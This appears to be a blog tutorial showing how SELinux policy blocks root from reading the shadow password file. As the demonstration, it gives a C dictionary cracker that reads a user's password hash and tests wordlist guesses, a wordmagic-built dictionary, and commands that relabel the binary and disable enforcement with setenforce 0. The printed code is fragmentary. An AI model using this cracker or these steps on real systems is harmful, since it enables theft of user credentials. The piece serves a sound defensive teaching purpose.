SELinux: Why not allow root to read the password file and the benefits of this?


root is the superuser who has the power to manipulate any system issue. So it sounds ridiculous that we restrict its rights. The essence of the problem is that malicious programs can use root privileges to damage the system. A good security policy should prevent all user domains including also the sysadm_t domain of the root from directly accessing the password file. Access to the password file is only for specialized programs that perform systemized administrative tasks. Thus a crack program running in sysadm_t domain cannot steal a user's password.
We follow the steps below to experiment a password-stealing attack. We create a crack program, which can steal a user's password if allowed to read the password file. Then security policy will make it invalid.

1) Compiling dictionary creation program wordmagic
Download wordmagic and compile the program as follows


The wordmagic executable file will be created in the directory  src, copy it to the current directory (the working directory is the home directory).

2) Adding a user
We use useradd to add a user named corona, assign it the password cOviD-19

3) Writing a crack program
Create crack.c source file with the following content

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <shadow.h>

main(int argc, char *argv[])
    struct spwd *spwdp;
    char clear_passwd[256];
    char *cipher, *encrypted_passwd;
    const char *username, *filename;
    FILE *fp;

    if (argc != 3) {
        fprintf(stderr, "Usage: %s username dict_file\n", argv[0]);
    username = argv[1];
    filename = argv[2];
    spwdp = getspnam(username);
    if (! spwdp) {
    encrypted_passwd = spwdp->sp_pwdp;
    fp = fopen (filename, "r");
    if (! fp) {
    while (fgets (clear_passwd, 256, fp)) {
        clear_passwd[strlen(clear_passwd) - 1] = '\0';
        cipher = crypt (clear_passwd, encrypted_passwd);
        if (! cipher) {
        if (strcmp (cipher, encrypted_passwd) == 0) {
            printf("%s\n", clear_passwd);

The program accepts two arguments, username and filename of dictionary file. It gets the encrypted password of the user username and then scans the probing passwords in the file filename until a password is found.

4) Compiling the crack program
To compile the program we need to link to the libcrypt library

gcc -lcrypt -o crack crack.c 

5) Creating the dict dictionary
We use wordmagic to create a password dictionary named dict. We guess that corona's password consists of two parts 'covid' and '19'. Where every letters in the word covid can be uppercase or lowercase. The 'covid' and '19' sections can be concatenated, separated by a space or a dash. That is shown in the regular expression as an argument for the wordmagic program as follows

./wordmagic '[Cc][Oo][Vv][Ii][Dd]( |-)?19' -o dict

The output is written to the dictionary file dict. Part of the dict dictionary content is as follows

6) Transitioning the program file type
We have prepared to run the crack program. However, the generated binary is of type user_home_t, which is not suitable for an executable file. We change its type to bin_t, create the following spec file

cat > spec << EOF
/home/[^/]+/crack staff_u:object_r:bin_t:s0

Then run the following command to transition the file type

sudo setfiles spec $HOME/crack

7) Allowing the sysadm_t domain to read password file
To read the password, at least the crack program must be run as root. But that is not enough, we switch SELinux to Permissive mode

sudo setenforce 0

8) Last step, getting the password

sudo ./crack corona dict

The above crack program is just a simple piece of code used to illustrate the effect of security policy. In fact it needs to be a parallel processing multi-threaded program to be time efficient.
When allowed to read the password file, the crack obtained the clear password, but once the security policy prevented it, it was completely disabled.

Currently unrated


There are currently no comments

New Comment


required (not published)



What is 9 - 1?